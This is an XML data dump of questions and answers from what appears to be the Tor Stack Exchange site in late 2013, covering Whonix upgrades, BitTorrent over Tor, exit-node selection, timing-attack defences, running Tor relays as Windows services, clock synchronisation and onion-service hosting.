  <row Id="726" PostTypeId="1" CreationDate="2013-11-05T01:36:02.473" Score="2" ViewCount="194" Body="&lt;p&gt;I read on the Whonix website that in order to update from Whonix 5.6 to Whonix 7, I had to download the image again. While I have no problem with that, how can I update my virtual machine while preserving the files I currently have? Is it as simple as downloading the image then setting the virtual hard drive to the old drive file, or is there a way to transfer the files securely between the virtual machines?&lt;/p&gt;&#xA;" OwnerUserId="499" LastActivityDate="2013-11-09T06:20:21.957" Title="How to upgrade to whonix 7 while preserving our sensitive files?" Tags="|whonix|" AnswerCount="2" CommentCount="1" ClosedDate="2013-12-07T17:25:24.470" ContentLicense="CC BY-SA 3.0" />
  <row Id="727" PostTypeId="1" CreationDate="2013-11-05T05:45:35.927" Score="0" ViewCount="6741" Body="&lt;p&gt;utorrent doesn't work from my institute computers. Can I bypass this restriction through Tor to download torrent files? If yes, how?&lt;/p&gt;&#xA;" OwnerUserId="109" LastEditorDisplayName="user5" LastEditDate="2013-11-05T13:27:46.030" LastActivityDate="2013-11-05T13:27:46.030" Title="Using Torrent via Tor" Tags="|tor-browser-bundle|bittorrent|" AnswerCount="1" CommentCount="2" ClosedDate="2013-11-05T13:52:43.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="728" PostTypeId="2" ParentId="727" CreationDate="2013-11-05T09:18:39.040" Score="2" Body="&lt;p&gt;You will probably be able to configure the µTorrent client to communicate over Tor but &lt;strong&gt;please do not do this&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is already a very similar question: &lt;a href=&quot;https://tor.stackexchange.com/q/64/114&quot;&gt;How can BitTorrent traffic be anonymized with Tor?&lt;/a&gt; which asks for a very similar thing but for achieving anonymity. There you can read that the BitTorrent transfer would be very slow and you will create really unnecessarily high load in the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using Tor with multi-layered encryption and routing (onion-routing) you should use much simpler VPNs or proxies with which you will get much higher throughput without the strong negative effect on other users. Just put &lt;a href=&quot;https://www.google.com/search?q=BitTorrent%20VPN&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;BitTorrent VPN&lt;/code&gt;&lt;/a&gt; into a search engine to find some guidelines which are out of scope of this site.&lt;/p&gt;&#xA;" OwnerUserId="114" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-11-05T09:18:39.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="729" PostTypeId="1" AcceptedAnswerId="734" CreationDate="2013-11-05T10:25:41.550" Score="4" ViewCount="683" Body="&lt;p&gt;Thanks to my friends detail explanations, now I'm more interested to run a Tor client and Tor relay all the time using the Vidalia Relay Bundle just to help other people out there. But my problem is, how can I run Firefox from the Tor Browser Bundle alongside with the Vidalia Relay Bundle? I don't want to kill my previous Vidalia process just to run another Vidalia process from the Tor Browser Bundle.&lt;/p&gt;&#xA;" OwnerUserId="502" LastEditorUserId="131" LastEditDate="2013-11-05T18:33:26.240" LastActivityDate="2013-12-29T09:26:10.497" Title="Run Firefox In Tor Browser Bundle using Tor Relay Bundle" Tags="|tor-browser-bundle|relays|firefox|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="730" PostTypeId="2" ParentId="64" CreationDate="2013-11-05T13:15:56.480" Score="23" Body="&lt;p&gt;As others have said, this is something you &lt;em&gt;shouldn't&lt;/em&gt; do. However, for the purpose of actually answering the second part of your question, you &lt;em&gt;can&lt;/em&gt; do it fairly easily. In your Torrent client's configuration screen, look for a section called &quot;proxy&quot; or &quot;network connection&quot; etc. and set it up like the following example (using &lt;a href=&quot;http://deluge-torrent.org/&quot; rel=&quot;noreferrer&quot;&gt;Deluge&lt;/a&gt; here):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0caM5.png&quot; alt=&quot;Deluge configured for Tor use&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important part is just to use &lt;code&gt;127.0.0.1:9050&lt;/code&gt; as the proxy. Also note that &lt;code&gt;9050&lt;/code&gt; is the default port, but it may not be the same on your installation (or if you're using the browser bundle). You'll have to look up the &lt;code&gt;orport&lt;/code&gt; value in your &lt;code&gt;torrc&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have separate options for different types of Torrent traffic, please don't do it. This will send all traffic (including peer-to-peer traffic) through Tor.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="231" LastEditDate="2014-02-14T18:25:21.233" LastActivityDate="2014-02-14T18:25:21.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="732" PostTypeId="2" ParentId="726" CreationDate="2013-11-05T17:02:47.280" Score="3" Body="&lt;p&gt;Two options occur to me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Copy sensitive files to (encrypted) usb stick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Setup Whonix 7 as VM, but in the VM settings, attach the older virtual drive (the vmdk file) as a second hard drive.&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2013-11-05T17:02:47.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="733" PostTypeId="1" AcceptedAnswerId="850" CreationDate="2013-11-05T17:30:21.263" Score="89" ViewCount="206577" Body="&lt;p&gt;Lets say I want to get Netflix to work via Tor. Currently I keep pressing &quot;new identity&quot; until my traffic is exiting from a country supported by Netflix. I use Tor bridges to access the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to choose the country or node where my traffic should exit the Tor network?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="923" LastEditDate="2014-03-04T08:21:48.870" LastActivityDate="2022-01-13T15:11:25.100" Title="Can I exit from a specific country or node?" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="8" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="734" PostTypeId="2" ParentId="729" CreationDate="2013-11-05T18:08:27.367" Score="4" Body="&lt;p&gt;Since some releases of the Tor Browser Bundle 2.x the control ports for Tor relays and the Tor Browser Bundle are different. The socks port is different, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There should be no problems with running a Tor relay (or bridge) while using Tor Browser Bundle for browsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3.x series of Tor Browser Bundle has Vidalia replaced with Tor  Launcher so there should be no problems there.&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="696" LastEditDate="2013-12-29T09:26:10.497" LastActivityDate="2013-12-29T09:26:10.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="737" PostTypeId="1" AcceptedAnswerId="746" CreationDate="2013-11-06T11:54:34.377" Score="10" ViewCount="3056" Body="&lt;p&gt;Is there a way for an end user to protect oneself against the timing attack when using Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those, who are not familiar with it, a timing attack involves an adversary populating the Tor cloud with the nodes under their control, with the goal to likely be the first node that you contact and also be the exit node. The latter part is actually made easier by Tor, since it allows people to opt-out from being an exit node. With such a setup, the adversary begins to record times that you send a packet and also the time when the request packet leaves the exit node, and perform statistical analysis on your traffic and the traffic of the requested resource with the tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to introduce an artificial delay or some other mechanism to make a statistical analysis more difficult?&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="506" LastEditDate="2013-11-07T04:46:17.760" LastActivityDate="2022-05-23T21:37:27.937" Title="Is there a way to defend oneself against a timing attack?" Tags="|anonymity|attacks|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="738" PostTypeId="2" ParentId="343" CreationDate="2013-11-06T11:58:16.297" Score="4" Body="&lt;p&gt;Look at &lt;a href=&quot;http://2vlqpcqpjlhmd5r2.onion.lu/&quot; rel=&quot;nofollow&quot;&gt;http://2vlqpcqpjlhmd5r2.onion.lu/&lt;/a&gt; it is a web-bridge to .onion sites, that bridges to a Freenet to Tor bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here’s a currently working bridge, pointing to a site hosted in Freenet: &lt;a href=&quot;https://freenet7cul5qsz6.onion.cab/freenet:USK@s9sxY2cTJWHKRsTuBTkjrXW4HfzrdUlwFqft1mzV0Gs,2E4DOMYy-~zOdp8-5OQH2IcmLfey0AOIkms-73Mx2tI,AQACAAE/freenet-funding/42/#sec-6&quot; rel=&quot;nofollow&quot;&gt;https://freenet7cul5qsz6.onion.cab/freenet:USK@s9sxY2cTJWHKRsTuBTkjrXW4HfzrdUlwFqft1mzV0Gs,2E4DOMYy-~zOdp8-5OQH2IcmLfey0AOIkms-73Mx2tI,AQACAAE/freenet-funding/42/#sec-6&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="10444" LastEditDate="2016-01-12T17:09:07.027" LastActivityDate="2016-01-12T17:09:07.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="739" PostTypeId="1" AcceptedAnswerId="749" CreationDate="2013-11-06T12:01:09.327" Score="3" ViewCount="767" Body="&lt;p&gt;NearlyFreeSpeech.net did make a claim that if they will get enough users who want to have their site accessible directly via Tor they would consider the idea. But maybe there are hosting companies, which already offer to make one's site accessible via .onion domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(additional information)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to host the site and to allow people to access it via Tor, without putting the strain on the exit nodes. Since the exit nodes are by their nature receive heavier load, any traffic that does not involve them will also be faster.&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="506" LastEditDate="2013-11-07T13:26:16.167" LastActivityDate="2014-11-01T00:22:53.067" Title="Are there any mainstream hosting services that allow one to add a .onion domain?" Tags="|onion-services|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="740" PostTypeId="2" ParentId="703" CreationDate="2013-11-06T12:11:04.020" Score="4" Body="&lt;p&gt;Youtube does a lot of crazy stuff. It is not your normal HMTL5 video tag, there was actually some beta feature where you can try to ask google to send you only  with Ogg+Theora, but then many of the videos show up as unavailable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the video tag itself &lt;a href=&quot;http://w3schools.com/tags/tag_video.asp&quot; rel=&quot;nofollow&quot;&gt;http://w3schools.com/tags/tag_video.asp&lt;/a&gt; You will notice that the tag provides the dimentions, but there is no way to set different URLs for player sizes. So when you go full screen with a true HTML5 site it is still the same URL that is being loaded, and the resizing takes place on your local machine.&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2013-11-06T12:11:04.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="741" PostTypeId="1" AcceptedAnswerId="745" CreationDate="2013-11-06T12:54:51.447" Score="2" ViewCount="2108" Body="&lt;p&gt;As the title say, how can I do it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I has made a decision to uninstall Vidalia and use only tor.exe to run as a relay. I have tried to install Tor into the service so it is not going to disturb me. But every time I tried to install Tor service, it will run using &quot;NT AUTHORITY\LocalService&quot; account. Tor said that the torrc is stored into service user (means &quot;NT AUTHORITY\LocalService&quot;), I tried google to find the directory of &quot;NT AUTHORITY\LocalService&quot; but found nothing. So anyone have any idea on how can I change the torrc for &quot;NT AUTHORITY\LocalService&quot; user ?&lt;/p&gt;&#xA;" OwnerUserId="502" LastEditorUserId="923" LastEditDate="2014-07-03T21:49:47.213" LastActivityDate="2014-07-03T21:49:47.213" Title="How to edit the torrc in &quot;NT AUTHORITY\LocalService&quot; account?" Tags="|relays|configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="742" PostTypeId="2" ParentId="741" CreationDate="2013-11-06T18:19:51.197" Score="3" Body="&lt;p&gt;It sounds like you're trying to run a Tor Relay as a Service on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorFAQ#HowdoIrunmyTorrelayasanNTservice&quot; rel=&quot;nofollow&quot;&gt;Windows Service FAQ&lt;/a&gt;, it looks as though you can tell Tor to use a specific torrc when installing the service, for example &lt;code&gt;tor --service install -options -f C:\torrc&lt;/code&gt;, this is the recommended way of modifying the torrc for a Windows Service installation.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-06T18:19:51.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="743" PostTypeId="1" CreationDate="2013-11-05T11:32:38.723" Score="3" ViewCount="2262" Body="&lt;p&gt;I'm running Tor on a VPS and the service provider is not co-operating. I am using the command line and not the Vidalia bundle, and I have a problem with time synchronization. I have given the right time to both &quot;date&quot; &amp;amp; &quot;hwclock&quot;. Here's the output of my server in United States, Nevada, Las Vegas::&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ hwclock &amp;amp;&amp;amp; date&#xA;Mon 04 Nov 2013 11:25:28 AM PST  -1.041996 seconds&#xA;Mon Nov  4 11:25:27 PST 2013&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What Tor prints is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 04 11:22:14.371 [notice] Tor v0.2.3.25 (git-3fed5eb096d2d187) running on Linux.&#xA;Nov 04 11:22:14.372 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Nov 04 11:22:14.372 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Nov 04 11:22:14.375 [notice] Initialized libevent version 2.0.19-stable using method epoll (with changelist). Good.&#xA;Nov 04 11:22:14.375 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Nov 04 11:22:14.000 [notice] Parsing GEOIP file /usr/share/tor/geoip.&#xA;Nov 04 11:22:14.000 [warn] You are running Tor as root. You don't need to, and you probably shouldn't.&#xA;Nov 04 11:22:14.000 [notice] This version of OpenSSL has a known-good EVP counter-mode implementation. Using it.&#xA;Nov 04 11:22:14.000 [notice] OpenSSL OpenSSL 1.0.1e 11 Feb 2013 looks like version 0.9.8m or later; I will try SSL_OP to enable renegotiation&#xA;Nov 04 11:22:14.000 [notice] Reloaded microdescriptor cache.  Found 0 descriptors.&#xA;**Nov 04 11:22:14.000 [warn] Our clock is 15 hours, 37 minutes behind the time published in the consensus network status document (2013-11-05 11:00:00 GMT).  Tor needs an accurate clock to work correctly. Please check your time and date settings!**&#xA;Nov 04 11:22:14.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&#xA;Nov 04 11:22:15.000 [notice] Bootstrapped 5%: Connecting to directory server.&#xA;Nov 04 11:22:15.000 [notice] Heartbeat: Tor's uptime is 0:00 hours, with 1 circuits open. I've sent 0 kB and received 0 kB.&#xA;Nov 04 11:22:16.000 [notice] Bootstrapped 10%: Finishing handshake with directory server.&#xA;Nov 04 11:22:16.000 [notice] Bootstrapped 15%: Establishing an encrypted directory connection.&#xA;Nov 04 11:22:16.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus.&#xA;Nov 04 11:22:16.000 [notice] Bootstrapped 25%: Loading networkstatus consensus.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can I do with my Virtual Machine time to fix Tor?&lt;/p&gt;&#xA;" OwnerDisplayName="Morgan" LastEditorUserId="71" LastEditDate="2014-01-01T23:49:47.637" LastActivityDate="2014-01-01T23:49:47.637" Title="Tor Time Synchronization Issue" Tags="|time|vps|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="744" PostTypeId="2" ParentId="741" CreationDate="2013-11-06T21:37:46.453" Score="1" Body="&lt;p&gt;On my 2003 server I have Tor running as a service on the &lt;code&gt;LocalService&lt;/code&gt; account.&#xA;The Tor data directory is in the &lt;code&gt;C:\Documents and Settings\LocalService\Application Data\tor&lt;/code&gt; folder.&#xA;If you can't navigate to the &lt;code&gt;C:\Documents and Settings\LocalService&lt;/code&gt; folder in the file explorer you have to type it in the address bar.&lt;/p&gt;&#xA;" OwnerUserId="348" LastEditorUserId="88" LastEditDate="2013-11-07T10:22:08.947" LastActivityDate="2013-11-07T10:22:08.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="745" PostTypeId="2" ParentId="741" CreationDate="2013-11-06T21:59:49.263" Score="4" Body="&lt;p&gt;Thank you all for the good answers, but I already solved my problem. After doing some trace using Process Monitor on my tor.exe service, it looks like my tor service data is stored on &lt;code&gt;C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\tor\&lt;/code&gt;, I'm happy man now. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also to add up a solution for future reference, I got this error message when trying to run tor.exe as a service &lt;code&gt;Service failed to start : An exception occurred in the service when handling the control request.&lt;/code&gt; is because of permission problem. The DataDirectory that I set in my torrc file is currently on the my account and another user process (tor.exe that running under &lt;code&gt;LocalService&lt;/code&gt;) can't access DataDirectory files. So to fix it up, just set your DataDirectory on main directory on your local disk like &lt;code&gt;C:\torDatadDir\&lt;/code&gt;. ;)&lt;/p&gt;&#xA;" OwnerUserId="502" LastEditorUserId="502" LastEditDate="2013-11-07T12:06:31.797" LastActivityDate="2013-11-07T12:06:31.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="746" PostTypeId="2" ParentId="737" CreationDate="2013-11-07T07:49:50.427" Score="7" Body="&lt;p&gt;Short answer is no, not really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Timing attacks can be defended against by pumping a constant stream of data through the network.&#xA;That's not foolproof, however, since an entry / intermediate node could introduce lag spikes which could then be analysed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that high-latency anonymity networks (anonymous remailers) have all kinds of timing attack defences; so maybe you want to look into those.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastEditorDisplayName="user194" LastEditDate="2013-11-07T08:06:28.940" LastActivityDate="2013-11-07T08:06:28.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="747" PostTypeId="2" ParentId="743" CreationDate="2013-11-07T10:19:42.263" Score="1" Body="&lt;p&gt;It is not uncommon that VPS providers have strange times on their machines. In the past it helped me to kindly ask them to correct the time. Usually they corrected it and the problem disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if your VPS provider won't cooperate, you can try to change the clock manually. So stop the Tor process, enter the correct time and restart the process. Now Tor has the correct time and will connect.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-11-07T10:19:42.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="748" PostTypeId="2" ParentId="48" CreationDate="2013-11-07T11:28:42.590" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/tor-weekly-news-%E2%80%94-november-6th-2013&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/tor-weekly-news-%E2%80%94-november-6th-2013&lt;/a&gt; warns that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using Firefox and Tor Browser Bundle at the same time is not a great idea because the two interfaces are almost identical, and it is easy to get the two browsers mixed up, even if you know what you are doing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you still feel it is convenient to have both browsers open at once, a simple &quot;low-tech&quot; solution to that is to install a different theme in one of the browsers.&lt;/p&gt;&#xA;" OwnerUserId="113" LastActivityDate="2013-11-07T11:28:42.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="749" PostTypeId="2" ParentId="739" CreationDate="2013-11-07T11:36:10.537" Score="2" Body="&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; After thinking about it for a bit I think what they meant to ask was &quot;are there any mainstream hosting services that don't block Tor clients?&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main benefit of hidden services is that they anonymise &lt;em&gt;both&lt;/em&gt; the client and server. A side effect of the way hidden services works means that it also provides end-to-end encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a 3rd party hosting company then there's probably not much reason to anonymise the server, since you don't own it. Additionally, if the website is available via the regular internet (and if the same servers are used for the regular website and the hidden service version) then its servers can't be anonymised; you can find out the identity of the servers simply by connecting to the non-hidden-service version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easier alternative (that is &lt;em&gt;essentially&lt;/em&gt; equivalent for the client) would be to make your website HTTPS (TLS / SSL) only, and ensure that it is accessible via regular Tor; that way clients can anonymise themselves using Tor while also enjoying end-to-end encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Hidden services do have niche benefits such as allowing your site to be more resistant to censorship.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastEditorDisplayName="user194" LastEditDate="2014-11-01T00:22:53.067" LastActivityDate="2014-11-01T00:22:53.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="750" PostTypeId="1" CreationDate="2013-11-07T21:21:14.850" Score="10" ViewCount="406" Body="&lt;p&gt;The title pretty much says it all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What effects would a gtld registration of .onion domain have on the Tor network, is this something to worry about? Or is it something to welcome and slap a web2tor proxy under its entire namespace?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it going to impact the security by the percieved notion to the general public that using a regular browser to visit &lt;code&gt;someobscurehash.onion&lt;/code&gt; provides you with anonymity and protection? Or that the website you're hosting under your freshly registered domain name (or hash -- are we really silly enough to register a domain name like that) is safe from evil governments and corporations (provided whoever registers this tld would allow registration of its subdomain)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts anyone?&lt;/p&gt;&#xA;" OwnerUserId="497" LastEditorUserId="923" LastEditDate="2014-07-03T21:49:39.187" LastActivityDate="2014-07-03T21:49:39.187" Title="How would a registration of the .onion gtld impact the Tor network?" Tags="|onion-services|anonymity|security|dns|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="751" PostTypeId="2" ParentId="739" CreationDate="2013-11-08T03:39:46.253" Score="1" Body="&lt;p&gt;As Logforme noted, hosting providers need not be involved in your hidden services. You merely install Tor, point your server at localhost, and configure the hidden service in torrc. You also want routing and firewall rules that block any connectivity except through the hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, providers do need to allow connections to the Tor network. However, these are very much like client connections, rather than relay connections, so they shouldn't attract attention (until adversaries track you down, anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's most secure to isolate your server(s) and Tor process in separate machines, or at least in separate VMs. That makes it much easier to prevent leaks. And if adversaries exploit weaknesses in your server(s), they can't get at Tor quite so easily, and call home from your public IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I have no clue what NearlyFreeSpeech.net said, it's possible that they were considering the possibility of providing pre-configured Tor gateways. Doing that with web-hosting accounts would be totally insecure, but very user friendly. For VPS customers, they could provide Tor gateway VMs. That would be somewhat more secure, but they'd still own your hidden service key(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding user194's statement &quot;If you're using a 3rd party hosting company then there's probably not much reason to anonymise the server, since you don't own it.&quot;, I disagree. No matter how anonymously you're renting the server, there's probably some connection, and another layer of anonymity never hurts. &lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-11-08T03:39:46.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="752" PostTypeId="1" CreationDate="2013-11-08T15:52:41.210" Score="3" ViewCount="852" Body="&lt;p&gt;I have a problem with two other IP addresses. Whonix-Workstation shows a different IP than the Gateway? Is it obliged to be this way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My host OS is Kubuntu, and on it I have VirtualBox running whonix-gateway and whonix-workstation. The loaded Whonix-gateway shows a different IP than whonix-workstation. Should these two systems (gateway and workstation) not be associated with same IP address?&lt;/p&gt;&#xA;" OwnerUserId="513" LastEditorDisplayName="user5" LastEditDate="2013-11-08T17:33:33.713" LastActivityDate="2013-11-09T00:38:17.060" Title="Whonix problem with others IPs" Tags="|whonix|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="753" PostTypeId="2" ParentId="752" CreationDate="2013-11-08T19:56:37.443" Score="1" Body="&lt;p&gt;Your two Whonix VMs should NOT have the same IP address, the Whonix gateway should be able to see its own external IP address simply because it has to connect to the internet to do its job; however, the Whonix workstation should never be able to find the public IP because its only connection is to a second (internal only) IP of the Whonix gateway.&lt;/p&gt;&#xA;" OwnerUserId="21" LastActivityDate="2013-11-08T19:56:37.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="755" PostTypeId="1" CreationDate="2013-11-08T21:31:04.630" Score="1" ViewCount="631" Body="&lt;p&gt;Is it possible (and not compromising to anonymity in a noticeable way) to use tc (traffic control) in linux to limit the upload speed into Tor (and not limit the download speed)?&lt;/p&gt;&#xA;" OwnerUserId="515" LastActivityDate="2019-04-30T09:37:52.997" Title="Is it possible to use tc (traffic control) in linux to limit the upload speed?" Tags="|bandwidth|linux|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="756" PostTypeId="1" CreationDate="2013-11-08T21:57:27.020" Score="5" ViewCount="350" Body="&lt;p&gt;If I run a hidden service would my onion address get published or become available to anyone without me telling them the actual address? Or, if not, when would my onion address' existence become public knowledge?&lt;/p&gt;&#xA;&lt;p&gt;The distributed hash table mentioned at &lt;a href=&quot;http://idnxcnkne4qt76tg.onion/docs/hidden-services.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://idnxcnkne4qt76tg.onion/docs/hidden-services.html.en&lt;/a&gt; sounds like it might include public knowledge on the hidden service descriptor and possibly its actual address. Wouldn't that mean that anyone could then start sending me any traffic they wanted just by knowing my onion address?&lt;/p&gt;&#xA;&lt;p&gt;My main concern here is that just by running a hidden service an attacker could come to learn about its existence (even if I don't make it public knowledge) and that they then could start sending identifying traffic to my node as a way to find my location (assuming they also were my first hop into Tor or my had my ISPs traffic logs).&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;tl;dr&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If I created a hidden service and began to host it but I never told&#xA;anyone the address could anyone aside from me come to learn of the&#xA;onion address?&lt;/li&gt;&#xA;&lt;li&gt;If I connected to the onion from a remote location would the address&#xA;then become known to any third party?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="515" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2013-11-10T07:59:59.930" Title="Is a hidden service's onion address shared with any third parties while hosted?" Tags="|onion-services|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="757" PostTypeId="1" CreationDate="2013-11-08T22:27:26.470" Score="3" ViewCount="362" Body="&lt;p&gt;There appears to be several kinds of nodes (Tor instances acting as servers relaying traffic for others):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Clients with Relaying disabled (Included in this list only for completion, as their IPs are not published, so they cannot be used).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Private bridges (I presume these cannot be used as &quot;rendezvous points&quot; and/or &quot;introduction points&quot; as their IPs are not published?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Public bridges (I am not sure if these are actually configured any differently than the line below (Middle Relays)).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A Relay with exit policy reject *:* (these servers IPs have their IPs published, so perhaps they qualify for use as &quot;rendezvous points&quot; and/or &quot;introduction points&quot;?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exit nodes (these servers IPs have their IPs published, so perhaps they qualify for use as &quot;rendezvous points&quot; and/or &quot;introduction points&quot;?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Any others that I missed?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am interested in discovering what qualifies and or disqualifies a node for use as an &quot;introduction point.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I am equally as interested in discovering what qualifies and or disqualifies a node for use as an &quot;rendezvous point.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on my reading of the documentation I currently believe that &quot;introduction points&quot; are all hosted on exit nodes, and &quot;rendezvous points&quot; will only choose a &quot;Relay with exit policy reject *:* (middle nodes)&quot;&lt;/p&gt;&#xA;" OwnerUserId="515" LastActivityDate="2013-11-09T10:27:38.337" Title="Which kinds of relaying Tor servers are available as &quot;rendezvous points&quot; and &quot;introduction points&quot; for hidden services?" Tags="|onion-services|onion-routing|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
